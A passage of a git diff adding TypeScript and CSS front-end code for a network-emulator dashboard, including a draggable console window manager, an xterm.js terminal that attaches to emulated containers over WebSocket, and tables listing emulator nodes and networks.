iSynth.className = 'bi bi-keyboard console-action'; + iSynth.onclick = this.toggleSynth.bind(this); + iSynth.title = 'Add this session to input broadcast'; + this._synthControlElement = iSynth; + + titleActions.className = 'console-actions'; + titleActions.appendChild(iClose); + titleActions.appendChild(iMin); + titleActions.appendChild(iMax); + titleActions.appendChild(iReload); + titleActions.appendChild(iSynth); + + titleBar.appendChild(titleActions); + titleBar.appendChild(titleText); + console.appendChild(titleBar); + + consoleFrame.src = url; + consoleFrame.className = 'console'; + console.appendChild(consoleFrame); + + consoleMask.className = 'console mask hide'; + console.appendChild(consoleMask); + + console.className = 'console-window'; + + var jconsole = $(console); + + jconsole.resizable({ + minHeight: 45, + minWidth: 125 + }); + + jconsole.offset({ top, left }); + + this._titleBarElement = titleBar; + this._maskElement = consoleMask; + + this._bondedDownHandler = this._handleDragStart.bind(this); + this._bondedUpHandler = this._handleDragEnd.bind(this); + this._bondedMoveHandler = this._handleDragMove.bind(this); + + this._element.addEventListener('mousedown', this._bondedDownHandler); + this._element.addEventListener('mouseup', this._bondedUpHandler); + } + + /** + * get window id. + * + * @returns id + */ + getId(): string { + return this._id; + } + + /** + * get window title + * + * @returns title + */ + getTitle(): string { + return this._title; + } + + /** + * change window title. + * + * @param newTitle new title + */ + setTitle(newTitle: string) { + this._title = newTitle; + this._titleElement.innerText = `${newTitle} ${this._statusText}`; + } + + /** + * get status text. + * + * @returns status text + */ + getStatusText(): string { + return this._statusText; + } + + /** + * set status text. + * + * @param status status text. + */ + setStatusText(status: string) { + this._statusText = status; + this._titleElement.innerText = `${this._title} ${status}`; + } + + /** + * block the frame element in this window so mouse events can be captured. + */ + block() { + this._maskElement.classList.remove('hide'); + } + + /** + * unblock the frame. + */ + unblock() { + this._maskElement.classList.add('hide'); + } + + /** + * get the window element. + * + * @returns element. + */ + getElement(): Element { + return this._element; + } + + /** + * close this window. + */ + close() { + this._manager.closeWindow(this._id); + document.removeEventListener('mousemove', this._bondedMoveHandler); + } + + /** + * pop the window out to a browser window. + */ + popOut() { + var h = this._frameElement.clientHeight; + var w = this._frameElement.clientWidth; + + this.close(); + window.open( + `/console.html#${this._id}`, this._title, + `directories=no,titlebar=no,toolbar=no,location=no,status=no,menubar=no,scrollbars=no,width=${w},height=${h}`); + } + + /** + * minimize the window to task bar. + */ + minimize() { + this._titleBarElement.classList.remove('active'); + this._manager.minimizeWindow(this); + } + + /** + * reload window. + */ + reload() { + this.setStatusText('(connecting...)'); + this._frameElement.contentWindow.location.reload(); + } + + /** + * send window to back (i.e., set inactive) + */ + toBack() { + this._titleBarElement.classList.remove('active'); + } + + /** + * bring to window to front (i.e., set active) + */ + toFront() { + this._manager.setActiveWindow(this); + this._titleBarElement.classList.add('active'); + } + + /** + * test if this window is in input broadcast. + * + * @returns true if in synth, false otherwise. + */ + isInSynth(): boolean { + return this._inSynth; + } + + /** + * toggle synth (input broadcast) on this window. + */ + toggleSynth() { + if (this._inSynth) { + this._inSynth = false; + this._synthControlElement.className = 'bi bi-keyboard console-action'; + } else { + this._inSynth = true; + this._synthControlElement.className = 'bi bi-keyboard-fill console-action'; + } + } + + /** + * send text data to this window. + * + * @param data data + */ + write(data: any) { + this._frameElement.contentWindow.document.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'data', + id: this._id, + data + } + })); + } + + private _handleDragStart(e: MouseEvent) { + this._manager.blockWindows(); + + if (e.button != 0) return; + + var target = e.target as Element; + + if (target != this._titleBarElement && target.parentElement != this._titleBarElement) return; + + this._element.classList.add('dragging'); + + if (this._dragging) return; + + this.toFront(); + this._dragging = true; + this._x = e.pageX; + this._y = e.pageY; + + document.addEventListener('mousemove', this._bondedMoveHandler); + } + + private _handleDragEnd(e: MouseEvent) { + this._manager.unblockWindows(); + + this._element.classList.remove('dragging'); + if (!this._dragging) return; + this._dragging = false; + + document.removeEventListener('mousemove', this._bondedMoveHandler); + } + + private _handleDragMove(e: MouseEvent) { + if (!this._dragging) return; + + this._dy = e.pageY - this._y; + this._dx = e.pageX - this._x; + + var offset = $(this._element).offset(); + $(this._element).offset({ + left: offset.left + this._dx, + top: offset.top + this._dy + }); + + this._x = e.pageX; + this._y = e.pageY; + } +}; + +/** + * console window manager. + */ +export class WindowManager { + private _windows: { + [id: string]: Window + }; + + /** desktop element */ + private _desktop: HTMLDivElement; + + /** taskbar element */ + private _taskbar: HTMLDivElement; + /** setting bar element */ + private _settingBar: HTMLDivElement; + + /** zindex for the last window */ + private _zindex: number; + + /** offset from left/top for the next window */ + private _nextOffset: number; + + /** last active window's id */ + private _activeWindowId: string; + + private _taskBarChangeEventHandler: (shown: boolean) => void; + private _settingBarChangeEventHandler: (shown: boolean) => void; + + /** + * create window manager. + * + * @param desktopElement desktop element id. + * @param taskbarElement taskbar element id. + */ + constructor(desktopElement: string, taskbarElement: string) { + this._windows = {}; + this._desktop = document.getElementById(desktopElement) as HTMLDivElement; + this._taskbar = document.getElementById(taskbarElement) as HTMLDivElement; + this._zindex = 10000; + this._nextOffset = 0; + + var ceHandler = this._consoleEventListener.bind(this); + var ksHandler = this._keyboardEventListener.bind(this); + + document.addEventListener('console', (e: CustomEvent) => { + ceHandler(e.detail); + }); + + document.addEventListener('keydown', (e) => { + if (e.ctrlKey || e.altKey || e.metaKey) { + ksHandler(e); + } + }); + } + + /** + * register event handler. + * + * @param event event to listen. + * @param handler handler. + */ + on(event: WindowManagerEvent, handler: (event: any) => void) { + if (event == 'taskbarchanges') { + this._taskBarChangeEventHandler = handler; + } + } + + /** + * send input to all windows. + * + * @param srcId source window. + * @param data data. + */ + private _broadcastInput(srcId: string, data: any) { + Object.keys(this._windows).forEach(wid => { + if (wid == srcId) return; + + var win = this._windows[wid]; + if (win.isInSynth()) { + win.write(data); + } + }); + } + + /** + * handle keyboard shortcut keys. + * + * @param e keyboard event. + * @param win window, if the event was triggered in an active window. + * @returns true if something happened, false otherwise. + */ + private _procressKeyboardEvent(e: KeyboardEvent, win?: Window): boolean { + if (e.type != 'keydown') return; + + if (e.ctrlKey && e.altKey) { + switch (e.code) { + case 'KeyW': + win?.close(); + return true; + case 'KeyS': + if (win) this.minimizeWindow(win); + return true; + case 'KeyE': + win?.toggleSynth(); + return true; + case 'KeyF': + win?.popOut(); + return true; + case 'KeyR': + win?.reload(); + return true; + case 'KeyD': + Object.keys(this._windows).forEach(w => { + this._windows[w].minimize(); + }); + return true; + case 'KeyA': + var keys = Object.keys(this._windows); + var allInSynth = true; + + keys.forEach(k => { + allInSynth &&= this._windows[k].isInSynth(); + }); + + if (allInSynth) { + keys.forEach(k => this._windows[k].toggleSynth()); + } else { + keys.forEach(k => { + if (!this._windows[k].isInSynth()) this._windows[k].toggleSynth(); + }); + } + } + } + + return false; + } + + /** + * handle all key events (from either console via ipc, or current document.) + * + * @param e event + * @param sourceId source id, if not from current active window. + */ + private _keyboardEventListener(e: KeyboardEvent, sourceId?: string) { + if (!sourceId) sourceId = this._activeWindowId; + + if (this._procressKeyboardEvent(e, this._windows[sourceId])) { + e.preventDefault(); + e.stopPropagation(); + } + } + + /** + * listen to ipc from console. + * + * @param ce console event. + */ + private _consoleEventListener(ce: ConsoleEvent) { + if (!this._windows[ce.id]) return; + var win = this._windows[ce.id]; + + switch(ce.type) { + case 'ready': + win.setStatusText(''); + case 'focus': + win.toFront(); + break; + case 'blur': + break; + case 'error': + win.setStatusText(`(inactive: error)`); + break; + case 'closed': + win.setStatusText(`(inactive: disconnected)`); + break; + case 'data': + if (win.isInSynth()) { + this._broadcastInput(ce.id, ce.data); + } + break; + case 'rawkey': + var k = ce.data as KeyboardEvent; + if (k.ctrlKey || k.altKey || k.metaKey) { + this._keyboardEventListener(k, ce.id); + } + break; + } + } + + /** + * update taskbar element. + */ + private _updateTaskbar() { + this._taskbar.innerHTML = ''; + + Object.keys(this._windows).forEach(wid => { + var win = this._windows[wid]; + var item = document.createElement('button'); + var text = document.createElement('span'); + + text.innerText = text.title = win.getTitle(); + text.classList.add('taskbar-item-text'); + + item.onclick = () => this._handleTaskbarClick.bind(this)(wid); + item.classList.add('taskbar-item'); + item.appendChild(text); + + if (wid == this._activeWindowId) item.classList.add('active'); + + this._taskbar.appendChild(item); + }); + + if (this._taskbar.children.length == 0) { + if (this._taskBarChangeEventHandler) { + this._taskBarChangeEventHandler(false); + } + + this._taskbar.classList.add('hide'); + } else { + if (this._taskBarChangeEventHandler) { + this._taskBarChangeEventHandler(true); + } + + this._taskbar.classList.remove('hide'); + } + } + + /** + * handle taskbar item click. + * + * @param id window id of the clicked item. + */ + private _handleTaskbarClick(id: string) { + if (this._activeWindowId == id) { + this._windows[id].minimize(); + } else { + this._windows[id].toFront(); + } + } + + /** + * get the desktop element. + * + * @returns desktop element. + */ + getDesktop(): Element { + return this._desktop; + } + + /** + * close window with the given id. + * + * @param id window id + */ + closeWindow(id: string) { + if (this._windows[id]) { + this._windows[id].getElement().remove(); + delete this._windows[id]; + } + + this._updateTaskbar(); + } + + /** + * create a new window. + * + * @param id container id to start console for. + * @param title title of the new window. + */ + createWindow(id: string, title: string) { + if (this._windows[id]) { + this._windows[id].toFront(); + return; + } + + var win = new Window(this, id, title, `/console.html#${id}`, 10 + this._nextOffset, 10 + this._nextOffset); + this._desktop.appendChild(win.getElement()); + this._windows[id] = win; + win.toFront(); + + this._nextOffset += 30; + this._nextOffset %= 300; + + this._updateTaskbar(); + } + + /** + * get windows. + * + * @returns dict, where the keys are ids, and values are window objects. + */ + getWindows(): { + [id: string]: Window + } { + return this._windows; + } + + /** + * block all windows, so when mouse is over windows' frame, mouse events + * are still triggered. + */ + blockWindows() { + Object.keys(this._windows).forEach(wid => { + this._windows[wid].block(); + }); + } + + /** + * unblock all windows. + */ + unblockWindows() { + Object.keys(this._windows).forEach(wid => { + this._windows[wid].unblock(); + }); + } + + /** + * change active window. + * + * @param window window object. + */ + setActiveWindow(window: Window) { + window.getElement().classList.remove('hide'); + + var windows = this.getWindows(); + Object.keys(windows).forEach(id => { + var window = windows[id]; + window.toBack(); + + var zindex = Number.parseInt($(window.getElement()).css('z-index')) || this._zindex; + if (zindex > this._zindex) this._zindex = zindex; + }); + + $(window.getElement()).css('z-index', ++this._zindex); + + this._activeWindowId = window.getId(); + this._updateTaskbar(); + } + + /** + * minimize the window. + * + * @param window window object. + */ + minimizeWindow(window: Window) { + window.getElement().classList.add('hide'); + + if (this._activeWindowId == window.getId()) this._activeWindowId = ''; + + this._updateTaskbar(); + } + +}; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/console/console.ts b/tools/InternetMap/frontend/src/console/console.ts new file mode 100644 index 000000000..8e286682d --- /dev/null +++ b/tools/InternetMap/frontend/src/console/console.ts @@ -0,0 +1,77 @@ +import { Terminal } from 'xterm'; +import 'xterm/css/xterm.css'; +import './css/console.css'; +import { ConsoleUi } from './ui'; +import { ConsoleNetwork } from './network'; + +const term = new Terminal({ + theme: { + foreground: '#C5C8C6', + background: '#1D1F21', + cursor: '#C5C8C6', + cursorAccent: '#C5C8C6', + black: '#555555', + red: '#CC6666', + green: '#B5BD68', + yellow: '#F0C674', + blue: '#81A2BE', + magenta: '#B294BB', + cyan: '#8ABEB7', + white: '#C5C8C6' + } +}); + +term.open(document.getElementById('terminal')); + +const id = window.location.hash.replace('#', ''); + +(async function () { + const net = new ConsoleNetwork(id); + + try { + var container = (await net.getContainer()).result; + } catch (e) { + term.write(`error: ${e.result}\r\n`); + return; + } + + var meta = container.meta; + var node = meta.emulatorInfo; + + var info = []; + + info.push({ + label: 'ASN', + text: node.asn + }); + + info.push({ + label: 'Name', + text: node.name + }); + + info.push({ + label: 'Role', + text: node.role + }); + + node.nets.forEach(net => { + info.push({ + label: 'IP', + text: `${net.name},${net.address}` + }); + }); + + document.title = `${node.role}: AS${node.asn}/${node.name}`; + + const ui = new ConsoleUi(id, term, `AS${node.asn}/${node.name}`, info); + + if (meta.hasSession) { + ui.createNotification('Attaching to an existing session; if you don\'t see the shell prompt, try pressing the return key.'); + } + + var ws = net.getSocket(); + + ui.attach(ws); + ui.configureIpc(); +})(); \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/console/css/console.css b/tools/InternetMap/frontend/src/console/css/console.css new file mode 100644 index 000000000..33611f945 --- /dev/null +++ b/tools/InternetMap/frontend/src/console/css/console.css @@ -0,0 +1,98 @@ +*, *:before, *:after { + box-sizing: border-box; +} + +body, h1, h2, h3, h4, h5, h6, p, ol, ul { + margin: 0; + padding: 0; +} + +html, body, .terminal { + height: 100%; + width: 100%; + background-color: #1D1F21; +} + +html, body, .container { + height: 100%; + width: 100vw; + overflow: hidden; + position: relative; +} + +.container { + padding: .5em; +} + +.bottom-tooltip { + bottom: .25em; +} + +.right-tooltip { + top: .25em; + right: .25em; +} + +.persistent-tooltip { + transition: opacity .2s; +} + +.persistent-tooltip:hover { + opacity: 0%; +} + +.tooltip { + color: #C5C8C6; + position: absolute; + padding: .2em; + font-family: monospace; + background-color: rgba(29, 31, 33, 0.84); + border: 2px solid #C5C8C6; + z-index: 114514; +} + +.as-name { + font-weight: bold; +} + +.loading, .muted { + color: #a5a8a6; +} + +.muted { + font-size: .85em; +} + +.infopanel-label { + font-weight: bold; +} + +.infopanel-label:after { + content: ":"; +} + +.infopanel-text { + margin-left: .2em; + font-family: monospace; +} + +.infopanel-title { + font-family: monospace; + font-size: 1.2em; + font-weight: bold; + margin-bottom: .2em; + border-left: .4em solid; + padding-left: .3em; +} + +.xterm-viewport { + scrollbar-width: 1px; + scrollbar-color: rgba(0, 0, 0, 255); + -ms-overflow-style: -ms-autohiding-scrollbar; +} + +.xterm-viewport::-webkit-scrollbar { + width: 1px; + height: 0; + opacity: 0%; +} diff --git a/tools/InternetMap/frontend/src/console/network.ts b/tools/InternetMap/frontend/src/console/network.ts new file mode 100644 index 000000000..a90b4b8c5 --- /dev/null +++ b/tools/InternetMap/frontend/src/console/network.ts @@ -0,0 +1,60 @@ +import { Configuration } from "../common/configuration"; + +/** + * console network manager. + */ +export class ConsoleNetwork { + private _id: string; + + constructor(id: string) { + this._id = id; + } + + /** + * get the container details + * + * @returns container details. + */ + async getContainer(): Promise { + var xhr = new XMLHttpRequest(); + + xhr.open('GET', `${Configuration.ApiPath}/container/${this._id}`); + + return new Promise((resolve, reject) => { + xhr.onload = function () { + if (this.status != 200) { + reject({ + ok: false, + result: 'non-200 response from API.' + }); + + return; + } + + var res = JSON.parse(xhr.response); + + if (res.ok) resolve(res); + else reject(res); + }; + + xhr.onerror = function () { + reject({ + ok: false, + result: 'xhr failed.' + }); + } + + xhr.send(); + }); + } + + /** + * get the websocket. + * + * @param protocol (optional) websocket protocol (ws/wss), default to ws. + * @returns websocket. + */ + getSocket(protocol: string = 'ws'): WebSocket { + return new WebSocket(`${protocol}://${location.host}${Configuration.ApiPath}/console/${this._id}`); + } +}; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/console/ui.ts b/tools/InternetMap/frontend/src/console/ui.ts new file mode 100644 index 000000000..e02f37de1 --- /dev/null +++ b/tools/InternetMap/frontend/src/console/ui.ts @@ -0,0 +1,289 @@ +import { Terminal } from 'xterm'; +import { AttachAddon } from 'xterm-addon-attach'; +import { FitAddon } from 'xterm-addon-fit'; +import { ConsoleEvent } from '../common/console-event'; +import Hammer from 'hammerjs'; + +/** + * console UI controller. + */ +export class ConsoleUi { + + /** pending notifications. */ + private _notifications: string[]; + + /** xtermjs object. */ + private _terminal: Terminal; + + /** info panel element. */ + private _infoPanel: HTMLDivElement; + + private _fit: FitAddon; + + /** websocket to console. */ + private _socket: WebSocket; + + /** true if attached to a container. */ + private _attached: boolean; + + /** container id. */ + private _id: string; + + /** + * construct UI controller. + * + * @param id container id. + * @param term terminal element. + * @param title title for the infoplate. + * @param items items for the info plate. + */ + constructor(id: string, term: Terminal, title: string, items: { + label: string, + text: string + }[]) { + this._notifications = []; + this._terminal = term; + this._id = id; + + var infoPanel = document.createElement('div'); + infoPanel.classList.add('xterm-hover'); + infoPanel.classList.add('tooltip'); + infoPanel.classList.add('right-tooltip'); + infoPanel.classList.add('persistent-tooltip'); + + var els = items.map(item => { + var p = document.createElement('div'); + + var l = document.createElement('span'); + l.innerText = item.label; + l.classList.add('infopanel-label'); + + var t = document.createElement('span'); + t.innerText = item.text; + t.classList.add('infopanel-text'); + + p.append(l); + p.append(t); + + return p; + }); + + var titleElement = document.createElement('div'); + titleElement.classList.add('infopanel-title'); + titleElement.innerText = title; + + var itemsElement = document.createElement('div'); + els.forEach(e => itemsElement.appendChild(e)); + + infoPanel.appendChild(titleElement); + infoPanel.appendChild(itemsElement); + + term.element.appendChild(infoPanel); + + this._infoPanel = infoPanel; + + this._attached = false; + + this._fit = new FitAddon(); + term.loadAddon(this._fit); + + var sizeChange = this._handleSizeChange.bind(this); + + if (window.visualViewport) { + document.documentElement.addEventListener('touchmove', e => e.preventDefault(), { passive: false }); + window.visualViewport.onresize = function() { + document.documentElement.style.height = `${this.height}px`; + sizeChange(); + }; + } else window.onresize = () => sizeChange(); + } + + /** + * handlw window size change: resize terminal. + */ + private _handleSizeChange() { + let dim = this._fit.proposeDimensions(); + this._fit.fit(); + if (this._socket && this._socket.readyState == 1) { + this._socket.send(`\t\r\n\ttermsz;${dim.rows},${dim.cols}`); + } + } + + /** + * draw the next notification. + */ + private _nextNotification() { + if (this._notifications.length == 0) return; + + var noteElement = document.createElement('div'); + noteElement.classList.add('xterm-hover'); + noteElement.classList.add('tooltip'); + noteElement.classList.add('bottom-tooltip'); + + var textElement = document.createElement('div'); + textElement.innerText = this._notifications.pop(); + + noteElement.appendChild(textElement); + + var infoElement = document.createElement('div'); + infoElement.classList.add('muted'); + infoElement.innerText = 'Tap on this message to dismiss.'; + + noteElement.appendChild(infoElement); + + var cb = this._nextNotification.bind(this); + + noteElement.onclick = () => { + noteElement.remove(); + cb(); + }; + + this._terminal.element.appendChild(noteElement); + } + + /** + * create new notification. push to queue if one is already showing. + * + * @param text notification text. + */ + createNotification(text: string) { + this._notifications.push(text); + + if (this._notifications.length == 1) this._nextNotification(); + } + + /** + * attach to console. + * + * @param socket websocket. + */ + attach(socket: WebSocket) { + if (this._attached) throw 'already attached.'; + this._attached = true; + + this._socket = socket; + + var attachAddon = new AttachAddon(socket); + this._terminal.loadAddon(attachAddon); + + window.setTimeout(this._handleSizeChange.bind(this), 1000); + + this._terminal.focus(); + + this._socket.addEventListener('error', () => { + this._terminal.write('\x1b[0;30mConnection reset.\x1b[0m\r\n'); + }); + + this._socket.addEventListener('close', () => { + this._terminal.write('\x1b[0;30mConnection closed by foreign host.\x1b[0m\r\n'); + }); + + if ('ontouchstart' in window) { + this.createNotification('Touchscreen detected - Swipe left/right to move the cursor, double tap to go back in history.') + var hammer = new Hammer(this._terminal.element); + + hammer.get('swipe').set({ direction: Hammer.DIRECTION_HORIZONTAL }); + hammer.on('swipe', (e) => { + if (socket.readyState != 1) return; + switch(e.direction) { + case Hammer.DIRECTION_RIGHT: socket.send('\x1b[C'); break; + case Hammer.DIRECTION_LEFT: socket.send('\x1b[D'); break; + }; + }); + + hammer.get('tap').set({ taps: 2 }); + hammer.on('tap', (e) => { + if (socket.readyState != 1) return; + socket.send('\x1b[A'); + }); + } + } + + /** + * setup ipc with the windowmanager. + */ + configureIpc() { + try { + if (window.self === window.top) return; + } catch (e) { + // in frame if error too? + } + + var parent = window.parent.document; + + var sendReady = () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'ready', + id: this._id + } + })); + }; + + if (this._socket.readyState == 1) sendReady(); + else this._socket.addEventListener('open', sendReady); + + this._socket.addEventListener('error', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'error', + id: this._id + } + })); + }); + + this._socket.addEventListener('close', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'closed', + id: this._id + } + })); + }) + + window.addEventListener('focus', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'focus', + id: this._id + } + })); + }); + + window.addEventListener('blur', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'blur', + id: this._id + } + })); + }); + + document.addEventListener('console', (e: CustomEvent) => { + var ce: ConsoleEvent = e.detail; + if (ce.id != this._id) return; + if (this._socket.readyState != 1) return; + this._socket.send(ce.data); + }); + + this._terminal.onData((data) => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'data', + id: this._id, + data + } + })); + }); + + document.addEventListener('keydown', (e) => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'rawkey', + id: this._id, + data: e + } + })); + }); + } +}; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/dashboard/css/index.css b/tools/InternetMap/frontend/src/dashboard/css/index.css new file mode 100644 index 000000000..09bbd6c3c --- /dev/null +++ b/tools/InternetMap/frontend/src/dashboard/css/index.css @@ -0,0 +1,17 @@ +body { + padding-top: 4.5rem; + padding-bottom: 4.5rem; +} + +.network .name { + font-weight: bold; +} + +.network .name::after { + content: ':'; +} + +.network .address { + margin-left: .2em; +} + diff --git a/tools/InternetMap/frontend/src/dashboard/dashboard.ts b/tools/InternetMap/frontend/src/dashboard/dashboard.ts new file mode 100644 index 000000000..9508317a2 --- /dev/null +++ b/tools/InternetMap/frontend/src/dashboard/dashboard.ts @@ -0,0 +1,23 @@ +import './css/index.css'; +import '../common/css/window-manager.css'; +import 'bootstrap/dist/css/bootstrap.min.css'; +import 'datatables.net-bs4/css/dataTables.bootstrap4.min.css' +import 'datatables.net-select-bs4/css/select.bootstrap4.min.css' + +import 'bootstrap'; +import 'datatables.net'; +import 'datatables.net-bs4'; +import 'datatables.net-select'; +import 'datatables.net-select-bs4'; + +import { DashboardUi } from './ui'; + +var ui = new DashboardUi({ + containerListElementId: 'container-list', + networkListElementId: 'network-list', + desktopElementId: 'console-area', + taskbarElementId: 'taskbar' +}); + +ui.loadContainers('/api/v1/container'); +ui.loadNetworks('/api/v1/network') \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/dashboard/ui.ts b/tools/InternetMap/frontend/src/dashboard/ui.ts new file mode 100644 index 000000000..828494ccf --- /dev/null +++ b/tools/InternetMap/frontend/src/dashboard/ui.ts @@ -0,0 +1,327 @@ +import $ from 'jquery'; +import { EmulatorNetwork, EmulatorNode } from '../common/types'; +import { WindowManager } from '../common/window-manager'; + +export class DashboardUi { + private _containerTable: DataTables.Api; + private _networkTable: DataTables.Api; + private _wm: WindowManager; + private _containerToolbar: HTMLDivElement; + private _networkToolbar: HTMLDivElement; + private _containerUrl: string; + private _networkUrl: string; + + constructor(config: { + containerListElementId: string, + networkListElementId: string, + desktopElementId: string, + taskbarElementId: string + }) { + this._containerTable = $(`#${config.containerListElementId}`).DataTable({ + columnDefs: [ + { + targets: [4, 5], + orderable: false + }, + { + targets: 0, + className: 'select-checkbox', + orderable: false + } + ], + select: { + selector: 'td:first-child', + style: 'multi' + }, + order: [[ 1, 'asc' ]], + dom: + "<'row'<'col-9 toolbar container-toolbar'><'col-3'f>>" + + "<'row'<'col-12'tr>>" + + "<'row'<'col-12'i>>" + + "<'row'<'col-12'p>>" + + }); + + this._networkTable = $(`#${config.networkListElementId}`).DataTable({ + columnDefs: [ + { + targets: [5], + orderable: false + }, + { + targets: 0, + className: 'select-checkbox', + orderable: false + } + ], + select: { + selector: 'td:first-child', + style: 'multi' + }, + order: [[ 1, 'asc' ]], + dom: + "<'row'<'col-9 toolbar network-toolbar'><'col-3'f>>" + + "<'row'<'col-12'tr>>" + + "<'row'<'col-12'i>>" + + "<'row'<'col-12'p>>" + }); + + this._containerToolbar = document.querySelector('.container-toolbar'); + this._networkToolbar = document.querySelector('.network-toolbar'); + this._wm = new WindowManager(config.desktopElementId, config.taskbarElementId); + + this._configureToolbar(this._containerTable, this._containerToolbar); + this._configureToolbar(this._networkTable, this._networkToolbar); + + this._initContainerToolbar(); + this._initNetworkToolbar(); + } + + private _reloadContainers() { + if (!this._containerUrl) return; + + this.loadContainers(this._containerUrl); + } + + private _createBtn(text: string, className: string, cb: any, iconClassName?: string): HTMLButtonElement { + var btn = document.createElement('button'); + var btnIcon = document.createElement('i'); + var btnText = document.createElement('span'); + + btnText.innerText = text; + + btn.className = className; + if (iconClassName) { + btnIcon.className = iconClassName; + btn.appendChild(btnIcon); + } + btn.appendChild(btnText); + btn.onclick = cb; + + return btn; + } + + private _configureToolbar(table: DataTables.Api, toolbar: HTMLDivElement) { + var btnGroupSelects = document.createElement('div'); + btnGroupSelects.className = 'btn-group mr-1 mb-1'; + + btnGroupSelects.appendChild(this._createBtn( + 'Select All', + 'btn btn-sm btn-secondary', + () => table.rows({ search: 'applied' }).select() + )); + + btnGroupSelects.appendChild(this._createBtn( + 'Invert Selections', + 'btn btn-sm btn-info', + () => { + var selected = table.rows({ selected: true, search: 'applied' }); + var rest = table.rows({ selected: false, search: 'applied' }); + + rest.select(); + selected.deselect(); + } + )); + + btnGroupSelects.appendChild(this._createBtn( + 'Deselect All', + 'btn btn-sm btn-light', + () => table.rows({ search: 'applied' }).deselect() + )); + + toolbar.appendChild(btnGroupSelects); + } + + private _initContainerToolbar() { + var btnGroupSelectedOptions = document.createElement('div'); + btnGroupSelectedOptions.className = 'btn-group mr-1 mb-1'; + + btnGroupSelectedOptions.appendChild(this._createBtn( + 'Attach selected', + 'btn btn-sm btn-primary', + () => { + var console = this._wm.createWindow.bind(this._wm); + this._containerTable.rows({ selected: true, search: 'applied' }).nodes().each((row: HTMLTableRowElement) => { + console(row.id, row.title); + }); + } + )); + + btnGroupSelectedOptions.appendChild(this._createBtn( + 'Run on selected…', + 'btn btn-sm btn-info', + () => alert('Not implemented') + )); + + btnGroupSelectedOptions.appendChild(this._createBtn( + 'Kill selected…', + 'btn btn-sm btn-danger', + () => alert('Not implemented') + )); + + this._containerToolbar.appendChild(btnGroupSelectedOptions); + + this._containerToolbar.appendChild(this._createBtn( + 'Add Node…', + 'btn btn-sm btn-success mr-1 mb-1', + () => alert('Not implemented'), + 'bi bi-plus mr-1' + )); + + this._containerToolbar.appendChild(this._createBtn( + 'Reload', + 'btn btn-sm btn-light mr-1 mb-1', + this._reloadContainers.bind(this), + 'bi bi-arrow-clockwise' + )); + } + + private _initNetworkToolbar() { + this._networkToolbar.appendChild(this._createBtn( + 'Delete selected…', + 'btn btn-sm btn-danger mr-1 mb-1', + () => alert('Not implemented') + )); + + this._networkToolbar.appendChild(this._createBtn( + 'New network…', + 'btn btn-sm btn-success mr-1 mb-1', + () => alert('Not implemented'), + 'bi bi-plus mr-1' + )); + + this._networkToolbar.appendChild(this._createBtn( + 'Reload', + 'btn btn-sm btn-light mr-1 mb-1', + () => alert('Not implemented'), + 'bi bi-arrow-clockwise' + )); + } + + private _createNodeRow(container: EmulatorNode) { + var node = container.meta.emulatorInfo; + + var tr = document.createElement('tr'); + + var tds = document.createElement('td'); + var td0 = document.createElement('td'); + var td1 = document.createElement('td'); + var td2 = document.createElement('td'); + var td3 = document.createElement('td'); + var td4 = document.createElement('td'); + + td0.className = 'text-monospace'; + td1.className = 'text-monospace'; + td2.className = 'text-monospace'; + + td0.innerText = node.asn != 0 ? `AS${node.asn}` : 'N/A'; + td1.innerText = node.name; + td2.innerText = node.role; + + node.nets.forEach(a => { + var div = document.createElement('div'); + + div.className = 'network'; + + var name = document.createElement('span'); + var address = document.createElement('span'); + + name.className = 'name'; + address.className = 'address text-monospace'; + + name.innerText = a.name; + address.innerText = a.address; + + div.appendChild(name); + div.appendChild(address); + + td3.appendChild(div); + }); + + var console = this._wm.createWindow.bind(this._wm); + var id = container.Id.substr(0, 12); + var title = `${node.role}: AS${node.asn}/${node.name}`; + + td4.appendChild(this._createBtn( + 'Attach', + 'btn btn-sm btn-primary mr-1 mb-1', + () => console(id, title) + )); + + td4.appendChild(this._createBtn( + 'Kill…', + 'btn btn-sm btn-danger mr-1 mb-1', + () => alert('Not implemented') + )); + + [tds, td0, td1, td2, td3, td4].forEach(td => tr.appendChild(td)); + + tr.id = id; + tr.title = title; + + return tr; + } + + private _createNetworkRow(network: EmulatorNetwork) { + var net = network.meta.emulatorInfo; + + var tr = document.createElement('tr'); + + var tds = document.createElement('td'); + var td0 = document.createElement('td'); + var td1 = document.createElement('td'); + var td2 = document.createElement('td'); + var td3 = document.createElement('td'); + var td4 = document.createElement('td'); + + td0.className = 'text-monospace'; + td1.className = 'text-monospace'; + td2.className = 'text-monospace'; + td3.className = 'text-monospace'; + + td0.innerText = net.scope; + td1.innerText = net.name; + td2.innerText = net.type; + td3.innerText = net.prefix; + + [tds, td0, td1, td2, td3, td4].forEach(td => tr.appendChild(td)); + + tr.id = net.name; + tr.title = net.name; + + return tr; + } + + private _load(url: string, table: DataTables.Api, handler: (data: any) => HTMLTableRowElement) { + var xhr = new XMLHttpRequest(); + var createRow = handler.bind(this); + + table.clear(); + + xhr.open('GET', url); + xhr.onload = function() { + if (xhr.status == 200) { + var res = JSON.parse(xhr.responseText); + if (!res.ok) return; + + res.result.forEach((c) => { + table.row.add(createRow(c)); + }); + } + table.draw(); + }; + + xhr.send(); + } + + loadContainers(url: string) { + this._containerUrl = url; + this._load(url, this._containerTable, this._createNodeRow); + } + + loadNetworks(url: string) { + this._networkUrl = url; + this._load(url, this._networkTable, this._createNetworkRow); + } + +}; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/index/css/index.css b/tools/InternetMap/frontend/src/index/css/index.css new file mode 100644 index 000000000..d84e4de80 --- /dev/null +++ b/tools/InternetMap/frontend/src/index/css/index.css @@ -0,0 +1,37 @@ +body { + padding-top: 4.5rem; + padding-bottom: 4.5rem; +} + +.network .name { + font-weight: bold; +} + +.network .name::after { + content: ':'; +} + +.network .address { + margin-left: .2em; +} + +a.home-item { + text-decoration: none; + color: 